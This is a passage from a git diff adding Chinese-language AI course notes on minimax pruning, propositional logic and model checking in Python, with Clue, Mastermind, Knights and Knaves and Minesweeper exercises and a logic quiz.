这一点最容易用一个例子来说明:最大化的玩家知道,在下一步,最小化的玩家将试图获得最低分数。假设最大化玩家有三个可能的动作,第一个动作的值为4。然后玩家开始为下一个动作生成值。要做到这一点,如果当前玩家做出这个动作,玩家会生成最小化者动作的值,并且知道最小化者会选择最低的一个。然而,在完成最小化器所有可能动作的计算之前,玩家会看到其中一个选项的值为3。这意味着没有理由继续探索最小化玩家的其他可能行动。尚未赋值的动作的值无关紧要,无论是10还是(-10)。如果该值为10,则最小化器将选择最低选项3,该选项已经比预先设定的4差。如果尚未估价的行动结果是(-10),那么最小化者将选择(-10)这一选项,这对最大化者来说更加不利。因此,在这一点上为最小化者计算额外的可能动作与最大化者无关,因为最大化玩家已经有了一个明确的更好的选择,其值为4。 + $$ + +![](static/LDZab4TeMoByvDxF1Onc8WQenpb.png) + +- 深度限制的极大极小算法(Depth-Limited Minimax) + + - 总共有 + $$ + 255168 + $$ + + 个可能的井字棋游戏,以及有 + $$ + 10^{29000} + $$ + + 个可能的国际象棋中游戏。到目前为止,最小最大算法需要生成从某个点到终端条件的所有假设游戏状态。虽然计算所有的井字棋游戏状态对现代计算机来说并不是一个挑战,但目前用来计算国际象棋是不可能的。 + - 深度限制的 Minimax 算法在停止之前只考虑预先定义的移动次数,而从未达到终端状态。然而,这不允许获得每个动作的精确值,因为假设的游戏还没有结束。为了解决这个问题,深度限制 Minimax 依赖于一个评估函数,该函数从给定状态估计游戏的预期效用,或者换句话说,为状态赋值。例如,在国际象棋游戏中,效用函数会将棋盘的当前配置作为输入,尝试评估其预期效用(基于每个玩家拥有的棋子及其在棋盘上的位置),然后返回一个正值或负值,表示棋盘对一个玩家对另一个玩家的有利程度。这些值可以用来决定正确的操作,并且评估函数越好,依赖它的 Minimax 算法就越好。 diff --git a/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md b/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md new file mode 100644 index 0000000..3395f2d --- /dev/null +++ b/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md @@ -0,0 +1,494 @@ +# 程序示例——命题逻辑与模型检测 + +阅读程序中涉及命题逻辑的部分,然后“玩一玩”程序! + +完成习题 + +# Sentence——父类 + +```python +class Sentence(): # 父类 + def evaluate(self, model): + """计算逻辑表达式的值""" + raise Exception("nothing to evaluate") + def formula(self): + """返回表示逻辑表达式的字符串形式。""" + return "" + def symbols(self): + """返回逻辑表达式中所有命题符号的集合。""" + return set() + @classmethod # @classmethod装饰器 使得类方法可以在类上被调用 Sentence.validate(...) + def validate(cls, sentence): + """验证操作数是否是Sentence或其子类""" + if not isinstance(sentence, Sentence): + raise TypeError("must be a logical sentence") + @classmethod # @classmethod装饰器 使得类方法可以在类上被调用 Sentence.parenthesize(...) + def parenthesize(cls, s): + """如果表达式尚未加圆括号,则加圆括号。""" + def balanced(s): + """检查字符串是否有配对的括号。""" + count = 0 + for c in s: + if c == "(": + count += 1 + elif c == ")": + if count <= 0: + return False + count -= 1 + return count == 0 + if not len(s) or s.isalpha() or (s[0] == "(" and s[-1] == ")" and balanced(s[1:-1])): + return s + else: + return f"({s})" +``` + +# Symbol——命题符号类 + +```python +class Symbol(Sentence): + def __init__(self, name): + """初始化命题符号""" + self.name = name + def __eq__(self, other): + """定义命题符号的相等""" + return isinstance(other, Symbol) and self.name == other.name + ... + def evaluate(self, model): + """命题符号在模型中赋值""" + try: + return bool(model[self.name]) + except KeyError: + raise EvaluationException(f"variable {self.name} not in model") + def formula(self): + """返回表示命题符号的字符串形式。""" + return self.name + def symbols(self): + """返回命题符号的集合。""" + return {self.name} +``` + +# Not——逻辑非类 + +```python +class Not(Sentence): + def __init__(self, operand): + """验证操作数是否是Sentence或其子类""" + Sentence.validate(operand) + self.operand = operand + def __eq__(self, other): + """定义相等""" + return isinstance(other, Not) and self.operand == other.operand + ... + def evaluate(self, model): + """逻辑非在模型中的赋值""" + return not self.operand.evaluate(model) + def formula(self): + """返回表示逻辑非的字符串形式""" + return "¬" + Sentence.parenthesize(self.operand.formula()) + def symbols(self): + """返回逻辑非中的命题符号的集合""" + return self.operand.symbols() +``` + +# And——逻辑乘类 + +```python +class And(Sentence): + def __init__(self, *conjuncts): + for conjunct in conjuncts: + """验证操作数是否是Sentence或其子类""" + Sentence.validate(conjunct) + self.conjuncts = list(conjuncts) + def __eq__(self, other): + """定义相等""" + return isinstance(other, And) and self.conjuncts == other.conjuncts + def add(self, conjunct): + """添加命题""" + Sentence.validate(conjunct) + self.conjuncts.append(conjunct) + def evaluate(self, model): + """逻辑乘在模型中的赋值""" + return all(conjunct.evaluate(model) for conjunct in self.conjuncts) + def formula(self): + """返回表示逻辑乘的字符串形式""" + if len(self.conjuncts) == 1: + return self.conjuncts[0].formula() + return " ∧ ".join([Sentence.parenthesize(conjunct.formula()) + for conjunct in self.conjuncts]) + def symbols(self): + """"返回逻辑乘中的所有命题符号的集合""" + return set.union(*[conjunct.symbols() for conjunct in self.conjuncts]) +``` + +# Or——逻辑和类 + +```python +class Or(Sentence): + def __init__(self, *disjuncts): + for disjunct in disjuncts: + """验证操作数是否是Sentence或其子类""" + Sentence.validate(disjunct) + self.disjuncts = list(disjuncts) + def __eq__(self, other): + """定义相等""" + return isinstance(other, Or) and self.disjuncts == other.disjuncts + ... + def evaluate(self, model): + """逻辑和在模型中的赋值""" + return any(disjunct.evaluate(model) for disjunct in self.disjuncts) + def formula(self): + """返回表示逻辑和的字符串形式""" + if len(self.disjuncts) == 1: + return self.disjuncts[0].formula() + return " ∨ ".join([Sentence.parenthesize(disjunct.formula()) + for disjunct in self.disjuncts]) + def symbols(self): + """"返回逻辑乘中的所有命题符号的集合""" + return set.union(*[disjunct.symbols() for disjunct in self.disjuncts]) +``` + +# Implication——逻辑蕴含类 + +```python +class Implication(Sentence): + def __init__(self, antecedent, consequent): + """验证操作数是否是Sentence或其子类""" + Sentence.validate(antecedent) + Sentence.validate(consequent) + """前件""" + self.antecedent = antecedent + """后件""" + self.consequent = consequent + def __eq__(self, other): + """定义相等""" + return (isinstance(other, Implication) + and self.antecedent == other.antecedent + and self.consequent == other.consequent) + ... + def evaluate(self, model): + """逻辑蕴含在模型中的赋值""" + return ((not self.antecedent.evaluate(model)) + or self.consequent.evaluate(model)) + def formula(self): + """返回表示逻辑蕴含的字符串形式""" + antecedent = Sentence.parenthesize(self.antecedent.formula()) + consequent = Sentence.parenthesize(self.consequent.formula()) + return f"{antecedent} => {consequent}" + def symbols(self): + """"返回逻辑蕴含中的所有命题符号的集合""" + return set.union(self.antecedent.symbols(), self.consequent.symbols()) +``` + +# Biconditional——逻辑等值类 + +```python +class Biconditional(Sentence): + def __init__(self, left, right): + """验证操作数是否是Sentence或其子类""" + Sentence.validate(left) + Sentence.validate(right) + self.left = left + self.right = right + def __eq__(self, other): + """定义相等""" + return (isinstance(other, Biconditional) + and self.left == other.left + and self.right == other.right) + ... + def evaluate(self, model): + """逻辑等值在模型中的赋值""" + return ((self.left.evaluate(model) + and self.right.evaluate(model)) + or (not self.left.evaluate(model) + and not self.right.evaluate(model))) + def formula(self): + """返回表示逻辑等值的字符串形式""" + left = Sentence.parenthesize(str(self.left)) + right = Sentence.parenthesize(str(self.right)) + return f"{left} <=> {right}" + def symbols(self): + """"返回逻辑等值中的所有命题符号的集合""" + return set.union(self.left.symbols(), self.right.symbols()) +``` + +# Model_check()——模型检测算法 + +```python +def model_check(knowledge, query): + """ + 检查知识库是否推理蕴含查询结论。 + >>> p = Symbol("p") + >>> q = Symbol("q") + >>> r = Symbol("r") + >>> knowledge = And(p, q, Implication(And(p, q), r)) + >>> knowledge.formula() + 'p ∧ q ∧ ((p ∧ q) => r)' + >>> query = r + >>> model_check(knowledge,query) + True + """ + def check_all(knowledge, query, symbols, model): + """检查给定特定模型的知识库是否推理蕴含查询结论。""" + # 如果模型已经为所有的命题符号赋值 + if not symbols: # symbols为空即所有 symbols都在模型中被赋值 + # 若模型中的知识库为真,则查询结论也必须为真 + if knowledge.evaluate(model): + return query.evaluate(model) + return True + else: + # 递归生成并检测所有模型 + # 选择其余未使用的命题符号之一 + remaining = symbols.copy() + p = remaining.pop() + # 创建一个命题符号为true的模型 + model_true = model.copy() + model_true[p] = True + # 创建一个命题符号为false的模型 + model_false = model.copy() + model_false[p] = False + # 确保在两种模型中都进行蕴含推理 + return (check_all(knowledge, query, remaining, model_true) and + check_all(knowledge, query, remaining, model_false)) + # 获取知识库和查询结论中的所有命题符号 + symbols = set.union(knowledge.symbols(), query.symbols()) + # 进行模型检测 + return check_all(knowledge, query, symbols, dict()) +``` + +# 线索游戏 + +在游戏中,一个人在某个地点使用工具实施了谋杀。人、工具和地点用卡片表示。每个类别的一张卡片被随机挑选出来,放在一个信封里,由参与者来揭开真相。参与者通过揭开卡片并从这些线索中推断出信封里必须有什么来做到这一点。我们将使用之前的模型检查算法来揭开这个谜团。在我们的模型中,我们将已知与谋杀有关的项目标记为 True,否则标记为 False。 + +```python +import termcolor +from logic import * +mustard = Symbol("ColMustard") +plum = Symbol("ProfPlum") +scarlet = Symbol("MsScarlet") +characters = [mustard, plum, scarlet] + +ballroom = Symbol("ballroom") +kitchen = Symbol("kitchen") +library = Symbol("library") +rooms = [ballroom, kitchen, library] + +knife = Symbol("knife") +revolver = Symbol("revolver") +wrench = Symbol("wrench") +weapons = [knife, revolver, wrench] + +symbols = characters + rooms + weapons +def check_knowledge(knowledge): + for symbol in symbols: + if model_check(knowledge, symbol): + termcolor.cprint(f"{symbol}: YES", "green") + elif not model_check(knowledge, Not(symbol)): + # 模型检测无法确定知识库可以得出 Not(symbol) 即 symbol是可能的 + print(f"{symbol}: MAYBE") + else: + termcolor.cprint(f"{symbol}: No", "red") +# 必须有人、房间和武器。 +knowledge = And( + Or(mustard, plum, scarlet), + Or(ballroom, kitchen, library), + Or(knife, revolver, wrench) +) +# 初始卡牌 +knowledge.add(And( + Not(mustard), Not(kitchen), Not(revolver) +)) +# 未知卡牌 +knowledge.add(Or( + Not(scarlet), Not(library), Not(wrench) +)) +# 已知卡牌 +knowledge.add(Not(plum)) +knowledge.add(Not(ballroom)) +check_knowledge(knowledge) +``` + +# Mastermind 游戏 + +在这个游戏中,玩家一按照一定的顺序排列颜色,然后玩家二必须猜测这个顺序。每一轮,玩家二进行猜测,玩家一返回一个数字,指示玩家二正确选择了多少颜色。让我们用四种颜色模拟一个游戏。假设玩家二猜测以下顺序: + +![](static/FZCJbOzr9o4oQPx7SNGcFxTSnRd.png) + +玩家一回答“二”。因此,我们知道其中一些两种颜色位于正确的位置,而另两种颜色则位于错误的位置。根据这些信息,玩家二试图切换两种颜色的位置。 + +![](static/Y80wbn96sol7PUxO5fKcOA9Hnbg.png) + +现在玩家一回答“零”。因此,玩家二知道切换后的颜色最初位于正确的位置,这意味着未被切换的两种颜色位于错误的位置。玩家二切换它们。 + +![](static/EuXObldHcoaO74xIzZocQQKTn4k.png) + +在命题逻辑中表示这一点需要我们有(颜色的数量) +$$ +^2 +$$ + +个原子命题。所以,在四种颜色的情况下,我们会有命题 red0,red1,red2,red3,blue0…代表颜色和位置。下一步是用命题逻辑表示游戏规则(每个位置只有一种颜色,没有颜色重复),并将它们添加到知识库中。最后一步是将我们所拥有的所有线索添加到知识库中。在我们的案例中,我们会补充说,在第一次猜测中,两个位置是错误的,两个是正确的,而在第二次猜测中没有一个是对的。利用这些知识,模型检查算法可以为我们提供难题的解决方案。 + +```python +from logic import * +colors = ["red", "blue", "green", "yellow"] +symbols = [] +for i in range(4): + for color in colors: + symbols.append(Symbol(f"{color}{i}")) +knowledge = And() +# 每种颜色都有一个位置。 +for color in colors: + knowledge.add(Or( + Symbol(f"{color}0"), + Symbol(f"{color}1"), + Symbol(f"{color}2"), + Symbol(f"{color}3") + )) +# 每种颜色只有一个位置。 +for color in colors: + for i in range(4): + for j in range(4): + if i != j: + knowledge.add(Implication( + Symbol(f"{color}{i}"), Not(Symbol(f"{color}{j}")) + )) +# 每个位置只有一种颜色。 +for i in range(4): + for c1 in colors: + for c2 in colors: + if c1 != c2: + knowledge.add(Implication( + Symbol(f"{c1}{i}"), Not(Symbol(f"{c2}{i}")) + )) +knowledge.add(Or( + And(Symbol("red0"), Symbol("blue1"), Not(Symbol("green2")), Not(Symbol("yellow3"))), + And(Symbol("red0"), Symbol("green2"), Not(Symbol("blue1")), Not(Symbol("yellow3"))), + And(Symbol("red0"), Symbol("yellow3"), Not(Symbol("blue1")), Not(Symbol("green2"))), + And(Symbol("blue1"), Symbol("green2"), Not(Symbol("red0")), Not(Symbol("yellow3"))), + And(Symbol("blue1"), Symbol("yellow3"), Not(Symbol("red0")), Not(Symbol("green2"))), + And(Symbol("green2"), Symbol("yellow3"), Not(Symbol("red0")), Not(Symbol("blue1"))) +)) +knowledge.add(And( + Not(Symbol("blue0")), + Not(Symbol("red1")), + Not(Symbol("green2")), + Not(Symbol("yellow3")) +)) +print(knowledge.formula()) +for symbol in symbols: + if model_check(knowledge, symbol): + print(symbol) +``` + +# Quiz + +1. 下面的问题将问你关于以下逻辑句子的问题。 1.如果 Hermione 在图书馆,那么 Harry 在图书馆。 2.Hermione 在图书馆里。 3.Ron 在图书馆,Ron 不在图书馆。 4.Harry 在图书馆。 5.Harry 不在图书馆,或者 Hermione 在图书馆。 6.Rom 在图书馆,或者 Hermione 在图书馆。 + +以下哪一个逻辑蕴含推理是正确的? + +1. $$ + 1\vDash 4 + $$ +2. $$ + 5\vDash 6 + $$ +3. $$ + 1\vDash 2 + $$ +4. $$ + 6\vDash 2 + $$ +5. $$ + 2\vDash 5 + $$ +6. $$ + 6\vDash 3 + $$ +7. 除了讲义上讨论的连接词之外,还有其他的逻辑连接词。其中最常见的是“异或”(用符号 + $$ + \oplus + $$ + + 表示)。表达式 + $$ + A\oplus B + $$ + + 表示句子“A 或 B,但不是两者都有。”以下哪一个在逻辑上等同于 + $$ + A\oplus B + $$ + + ? +8. $$ + (A ∨ B) ∧ ¬ (A ∨ B) + $$ +9. $$ + (A ∨ B) ∧ (A ∧ B) + $$ +10. $$ + (A ∨ B) ∧ ¬ (A ∧ B) + $$ +11. $$ + (A ∧ B) ∨ ¬ (A ∨ B) + $$ +12. 设命题变量 + $$ + R$$为“今天下雨”,变量 + $$ + + C + $$ + 为“今天多云”,变量 + $$ + + S$$ 为“今天晴”。下面哪一个是“如果今天下雨,那么今天多云但不是晴天”这句话的命题逻辑表示? +13. $$ + (R → C) ∧ ¬S + $$ +14. $$ + R → C → ¬S + $$ +15. $$ + R ∧ C ∧ ¬S + $$ +16. $$ + R → (C ∧ ¬S) + $$ +17. $$ + (C ∨ ¬S) → R + $$ +18. 在一阶逻辑中,考虑以下谓词符号。 + $$ + Student(x) + $$ + + 表示“x 是学生”的谓词。 + $$ + Course(x) + $$ + + 代表“x 是课程”的谓词, + $$ + Enrolled(x,y) + $$ + + 表示“x 注册了 y”的谓词以下哪一项是“有一门课程是 Harry 和 Hermione 都注册的”这句话的一阶逻辑翻译? +19. $$ + ∀x(Course(x)∧Enrolled(Harry, x) ∧ Enrolled(Hermione, x)) + $$ +20. $$ + ∀x(Enrolled(Harry, x) ∨ Enrolled(Hermione, x)) + $$ +21. $$ + ∀x(Enrolled(Harry, x) ∧ ∀y Enrolled(Hermione, y)) + $$ +22. $$ + ∃xEnrolled(Harry, x) ∧ ∃y Enrolled(Hermione, y) + $$ +23. $$ + ∃x(Course(x) ∧ Enrolled(Harry, x) ∧ Enrolled(Hermione, x)) + $$ +24. $$ + ∃x(Enrolled(Harry, x) ∨ Enrolled(Hermione, x)) + $$ diff --git a/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md b/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md new file mode 100644 index 0000000..6c9201c --- /dev/null +++ b/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md @@ -0,0 +1,202 @@ +# 项目:扫雷,骑士与流氓问题 + +我们为你提供了两个简单有趣的项目,帮助你进行知识巩固,请认真阅读文档内容。 + +如果你卡住了,请记得回来阅读文档,或请求身边人的帮助。 + +`pip3 install -r requirements.txt` + +# 骑士与流氓问题 + +## 背景 + +- 在 1978 年,逻辑学家雷蒙德·斯穆里安(Raymond Smullyan)出版了《这本书叫什么名字?》,这是一本逻辑难题的书。在书中的谜题中,有一类谜题被斯穆里安称为“骑士与流氓”谜题。 +- 在骑士与流氓谜题中,给出了以下信息:每个角色要么是骑士,要么是流氓。骑士总是会说实话:如果骑士陈述了一句话,那么这句话就是真的。相反,流氓总是说谎:如果流氓陈述了一个句子,那么这个句子就是假的。 +- 谜题的目标是,给出每个角色说的一组句子,确定每个角色是骑士还是流氓。 +- 比如,这里有一个简单的谜题只有一个名为 A 的角色。A 说:“我既是骑士又是流氓。” +- 从逻辑上讲,我们可以推断,如果 A 是骑士,那么这句话一定是真的。但我们知道这句话不可能是真的,因为 A 不可能既是骑士又是流氓——我们知道每个角色要么是骑士,要么是流氓,不会出现是流氓的骑士或是骑士的流氓。所以,我们可以得出结论,A 一定是流氓。 +- 那个谜题比较简单。随着更多的字符和更多的句子,谜题可以变得更加棘手!你在这个问题中的任务是确定如何使用命题逻辑来表示这些谜题,这样一个运行模型检查算法的人工智能可以为我们解决这些谜题。 + +## 理解 + +- 看一下 `logic.py`,你可能还记得讲义的内容。无需了解此文件中的所有内容,但请注意,此文件为不同类型的逻辑连接词定义了多个类。这些类可以相互组合,所以表达式 `And(Not(A), Or(B, C))` 代表逻辑语句:命题 A 是不正确的,同时,命题 B 或者命题 C 是正确的。(这里的“或”是同或,不是异或) +- 回想一下 `logic.py`,它还包含一个 函数 `model_check` 。`model_check` 输入知识库和查询结论。知识库是一个逻辑命题:如果知道多个逻辑语句,则可以将它们连接在一个表达式中。 递归考虑所有可能的模型,如果知识库推理蕴含查询结论,则返回 `True`,否则返回 `False`。 +- 现在,看看 `puzzle.py`,在顶部,我们定义了六个命题符号。例如,`AKnight` 表示“A 是骑士”的命题,`AKnave` 而表示“A 是流氓”的句子。我们也为字符 B 和 C 定义了类似的命题符号。 +- 接下来是四个不同的知识库 `knowledge0`, `knowledge1`, `knowledge2`, and `knowledge3`,它们将分别包含推断即将到来的谜题 0、1、2 和 3 的解决方案所需的知识。请注意,目前,这些知识库中的每一个都是空的。这就是你进来的地方! +- 这个 `puzzle.py` 的 `main` 函数在所有谜题上循环,并使用模型检查来计算,给定谜题的知识,无论每个角色是骑士还是无赖,打印出模型检查算法能够得出的任何结论。 + +## 明确 + +- 将知识添加到知识库 `knowledge0`, `knowledge1`, `knowledge2`, 和 `knowledge3` 中,以解决以下难题。 + + - 谜题 0 是背景中的谜题。它只包含一个简单的角色 A + +A 说:“我既是骑士又是流氓。” + +- 谜题 1 有两个角色:A 和 B + +A 说:“我们都是流氓。” + +B 什么都没说。 + +- 谜题 2 有两个角色:A 和 B + +A 说:“我们是同一种身份。” + +B 说:“我们不是同一种身份。” + +- 谜题 3 有三个角色:A,B 和 C + +A 说:“我是骑士”或者 A 说:“我是流氓”(这里“或”是异或,不是同或),但你不知道 A 说的是哪句话。 + +B 说:“A 说过‘我是流氓’。” + +B 又说:“C 是流氓。” + +C 说:“A 是骑士。” + +- 上述每个谜题中,每个角色要么是骑士,要么是流氓。骑士说的每一句话都是真的,流氓说的每一句话都是假的。 +- 一旦你完成了一个问题的知识库,你应该能够运行 `python puzzle.py` 来查看谜题的解决方案。 + +## 提示 + +- 对于每个知识库,你可能想要编码两种不同类型的信息:(1)关于问题本身结构的信息(即骑士与流氓谜题定义中给出的信息),以及(2)关于角色实际说了什么的信息。 +- 考虑一下,如果一个句子是由一个角色说出的,这意味着什么。在什么条件下这句话是真的?在什么条件下这个句子是假的?你如何将其表达为一个合乎逻辑的句子? +- 每个谜题都有多个可能的知识库,可以计算出正确的结果。你应该尝试选择一个能对谜题中的信息进行最直接的知识库,而不是自己进行逻辑推理。你还应该考虑谜题中信息最简洁的表达方式是什么。 + + - 例如,对于谜题 0,设置 `knowledge0=AKnave` 将产生正确的输出,因为通过我们自己的推理,我们知道 A 一定是一个无赖。但这样做违背了这个问题的精神:目标是让你的人工智能为你做推理。 +- 您不需要(也不应该)修改 `logic.py` 来完成这个问题。 + +# 扫雷 + +写一个 AI 来玩扫雷游戏。 + +![](static/CQmGb6QTjoeyVCx9vjncYF2QnQe.png) + +## 背景 + +### 扫雷 + +- 扫雷器是一款益智游戏,由一个单元格网格组成,其中一些单元格包含隐藏的“地雷”。点击包含地雷的单元格会引爆地雷,导致用户输掉游戏。单击“安全”单元格(即不包含地雷的单元格)会显示一个数字,指示有多少相邻单元格包含地雷,其中相邻单元格是指从给定单元格向左、向右、向上、向下或对角线一个正方形的单元格。 +- 例如,在这个 3x3 扫雷游戏中,三个 1 值表示这些单元格中的每个单元格都有一个相邻的单元格,该单元格是地雷。四个 0 值表示这些单元中的每一个都没有相邻的地雷。 + +![](static/BcfWbqCNKoXpTHxPQVqczsvcnBd.png) + +- 给定这些信息,玩家根据逻辑可以得出结论,右下角单元格中一定有地雷,左上角单元格中没有地雷,因为只有在这种情况下,其他单元格上的数字标签才会准确。 +- 游戏的目标是标记(即识别)每个地雷。在游戏的许多实现中,包括本项目中的实现中,玩家可以通过右键单击单元格(或左键双击,具体取决于计算机)来标记地雷。 + +### 命题逻辑 + +- 你在这个项目中的目标是建立一个可以玩扫雷游戏的人工智能。回想一下,基于知识的智能主体通过考虑他们的知识库来做出决策,并根据这些知识做出推断。 +- 我们可以表示人工智能关于扫雷游戏的知识的一种方法是,使每个单元格成为命题变量,如果单元格包含地雷,则为真,否则为假。 + +![](static/IROdbJ4zAooiWNxitU9cRovbnne.png) + +- 我们现在掌握了什么信息?我们现在知道八个相邻的单元格中有一个是地雷。因此,我们可以写一个逻辑表达式,如下所示,表示其中一个相邻的单元格是地雷。 +- `Or(A,B,C,D,E,F,G,H)` +- 但事实上,我们知道的比这个表达所说的要多。上面的逻辑命题表达了这样一种观点,即这八个变量中至少有一个是真的。但我们可以做一个更有力的陈述:我们知道八个变量中有一个是真的。这给了我们一个命题逻辑命题,如下所示。 + +``` +Or( + And(A, Not(B), Not(C), Not(D), Not(E), Not(F), Not(G), Not(H)), + And(Not(A), B, Not(C), Not(D), Not(E), Not(F), Not(G), Not(H)), + And(Not(A), Not(B), C, Not(D), Not(E), Not(F), Not(G), Not(H)), + And(Not(A), Not(B), Not(C), D, Not(E), Not(F), Not(G), Not(H)), + And(Not(A), Not(B), Not(C), Not(D), E, Not(F), Not(G), Not(H)), + And(Not(A), Not(B), Not(C), Not(D), Not(E), F, Not(G), Not(H)), + And(Not(A), Not(B), Not(C), Not(D), Not(E), Not(F), G, Not(H)), + And(Not(A), Not(B), Not(C), Not(D), Not(E), Not(F), Not(G), H) +) +``` + +- 这是一个相当复杂的表达!这只是为了表达一个单元格中有 1 意味着什么。如果一个单元格有 2、3 或其他值,这个表达式可能会更长。 +- 试图对这类问题进行模型检查也会很快变得棘手:在 8x8 网格(微软初级游戏模式使用的大小)上,我们有 64 个变量,因此需要检查 + $$ + 2^64 + $$ + + 个可能的模型——太多了,计算机无法在任何合理的时间内计算。对于这个问题,我们需要更好地表达知识。 + +### 知识表示 + +- 相反,我们将像下面这样表示人工智能知识的每一句话。 +- `{A, B, C, D, E, F, G, H} = 1` +- 这种表示法中的每个逻辑命题都有两个部分:一个是网格中与提示数字有关的一组单元格 `cell`,另一个是数字计数 `count`,表示这些单元格中有多少是地雷。上面的逻辑命题说,在单元格 A、B、C、D、E、F、G 和 H 中,正好有 1 个是地雷。 +- 为什么这是一个有用的表示?在某种程度上,它很适合某些类型的推理。考虑下面的游戏。 + +![](static/UiHObqm4noSOKlxcEtScuwPlnLd.png) + +- 利用左下数的知识,我们可以构造命题 `{D,E,G}=0`,意思是在 D、E 和 G 单元中,正好有 0 个是地雷。凭直觉,我们可以从这句话中推断出所有的单元格都必须是安全的。通过推理,每当我们有一个 `count` 为 0 的命题时,我们就知道该命题的所有 `cell` 都必须是安全的。 +- 同样,考虑下面的游戏。 + +![](static/VSbubz9JYo7H8XxgSbCcmMQHniK.png) + +- 我们的人工智能会构建命题 `{E,F,H}=3`。凭直觉,我们可以推断出所有的 E、F 和 H 都是地雷。更一般地说,任何时候 `cell` 的数量等于 `count`,我们都知道这个命题的所有单元格都必须是地雷。 +- 一般来说,我们只希望我们的命题是关于那些还不知道是安全的还是地雷的 `cell`。这意味着,一旦我们知道一个单元格是否是地雷,我们就可以更新我们的知识库来简化它们,并可能得出新的结论。 +- 例如,如果我们的人工智能知道命题 `{A,B,C}=2`,那么我们还没有足够的信息来得出任何结论。但如果我们被告知 C 是安全的,我们可以将 C 从命题中完全删除,留下命题 `{A,B}=2`(顺便说一句,这确实让我们得出了一些新的结论) +- 同样,如果我们的人工智能知道命题 `{A,B,C}=2`,并且我们被告知 C 是一颗地雷,我们可以从命题中删除 C,并减少计数的值(因为 C 是导致该计数的地雷),从而得到命题 `{A、B}=1`。这是合乎逻辑的:如果 A、B 和 C 中有两个是地雷,并且我们知道 C 是地雷,那么 A 和 B 中一定有一个是地雷。 +- 如果我们更聪明,我们可以做最后一种推理。 + +![](static/GsxxbeoPzoOZn4xSUaecVzKNnBc.png) + +- 考虑一下我们的人工智能根据中间顶部单元格和中间底部单元格会知道的两个命题。从中上角的单元格中,我们得到 `{A,B,C}=1`。从底部中间单元格中,我们得到 `{A,B,C,D,E}=2`。从逻辑上讲,我们可以推断出一个新的知识,即 `{D,E}=1`。毕竟,如果 A、B、C、D 和 E 中有两个是地雷,而 A、B 和 C 中只有一个是地雷的话,那么 D 和 E 必须是另一个地雷。 +- 更一般地说,任何时候我们有两个命题满足 `set1=count1` 和 `set2=count2`,其中 `set1` 是 `set2` 的子集,那么我们可以构造新的命题 `set2-set1=count2-count1`。考虑上面的例子,以确保你理解为什么这是真的。 +- 因此,使用这种表示知识的方法,我们可以编写一个人工智能智能主体,它可以收集有关扫雷的知识,并希望选择它知道安全的单元格! + +## 理解 + +- 这个项目有两个主要文件:`runner.py` 和 `minesweeper.py`。`minesweeper.py` 包含游戏本身和 AI 玩游戏的所有逻辑。`runner.py` 已经为你实现,它包含了运行游戏图形界面的所有代码。一旦你完成了 `minesweeper.py` 中所有必需的功能,你就可以运行 `python runner.py` 来玩扫雷了(或者让你的 AI 为你玩)! +- 让我们打开 `minesweeper.py` 来了解提供了什么。这个文件中定义了三个类,`Minesweeper`,负责处理游戏;`Sentence`,表示一个既包含一组 `cell` 又包含一个 `count` 的逻辑命题;以及 `MinesweeperAI`,它处理根据知识做出的推断。 +- `Minesweeper` 类已经完全实现了。请注意,每个单元格都是一对 `(i,j)`,其中 `i` 是行号(范围从 `0` 到 `height-1`),`j` 是列号(范围从 `0` 到 `width-1`)。 +- `Sentence` 类将用于表示背景中描述的形式的逻辑命题。每个命题中都有一组 `cell`,以及 `count` 表示其中有多少单元格是地雷。该类还包含函数 `known_mines` 和 `known_safes`,用于确定命题中的任何单元格是已知的地雷还是已知的安全单元格。它还包含函数 `mark_mine` 和 `mark_safe`,用于响应有关单元格的新信息来更新命题。 +- 最后,`MinesweeperAI` 类将实现一个可以玩扫雷的 AI。AI 类跟踪许多值。`self.moves_made` 包含一组已经点击过的所有单元格,因此人工智能知道不要再选择这些单元格。`self.mines` 包含一组已知为地雷的所有单元格。`self.safes` 包含一组已知安全的所有单元格。而 `self.knowledge` 包含了人工智能知道是真的所有命题的列表。 +- `mark_mine` 函数为 `self.mines` 添加了一个单元格,因此 AI 知道这是一个地雷。它还循环遍历人工智能知识中的所有命题,并通知每个命题该单元格是地雷,这样,如果命题包含有关地雷的信息,它就可以相应地更新自己。`mark_safe` 函数也做同样的事情,只是针对安全单元格。 +- 剩下的函数 `add_knowledge`、`make_safe_move` 和 `make_random_move` 由你完成! + +## 明确 + +- 完成 `minesweeper.py` 中的 `Sentence` 类和 `MinesweeperAI` 类的实现。 +- 在 `Sentence` 类中,完成 `known_mines`、`known_safes`、`mark_mine` 和 `mark_safe` 的实现。 + + - `known_mines` 函数应该返回 `self.cells` 中已知为地雷的所有单元格的集合。 + - `known_safes` 函数应该返回 `self.cells` 中已知安全的所有单元格的集合。 + - `mark_mine` 函数应该首先检查单元格是否是命题中包含的单元格之一。 + + - 如果 `cell` 在命题中,函数应该更新命题,使单元格不再在命题中但仍然表示一个逻辑正确的命题,因为该 `cell` 已知是地雷。 + - 如果命题中没有 `cell`,则不需要采取任何行动。 + - `mark_safe` 函数应该首先检查单元格是否是命题中包含的单元格之一。 + + - 如果 `cell` 在命题中,则函数应更新命题,使单元格不再在命题中但仍然表示一个逻辑正确的命题,因为该 `cell` 已知是安全的。 + - 如果命题中没有 `cell`,则不需要采取任何行动。 +- 在 `MinesweeperAI` 类中,完成 `add_knowledge`、`make_safe_move` 和 `make_random_move` 的实现。 + + - `add_knowledge` 应该接受一个单元格(表示为元组 `(i,j)`)及其相应的 `count`,并使用 AI 可以推断的任何新信息更新 `self.mines`、`self.safes`、`self.moves_made` 和 `self.knowledge`,因为该单元格是已知的安全单元格,其附近有计数地雷。 + + - 该函数应将该 `cell` 标记为游戏中的一个动作。 + - 函数应该将 `cell` 标记为安全单元格,同时更新包含该单元格的任何命题。 + - 该函数应该根据 `cell` 和 `count` 的值,在人工智能的知识库中添加一个新命题,以表明 `cell` 的邻居有 `count` 是地雷。请确保在命题中只包含状态尚未确定的单元格。 + - 如果根据 `self.knowledge` 中的任何一个命题,新的单元格可以被标记为安全的或地雷,那么函数应该这样做。 + - 如果根据 `self.knowledge` 中的任何一个命题,可以推断出新的命题(使用背景技术中描述的子集方法),那么这些命题也应该添加到知识库中。 + - 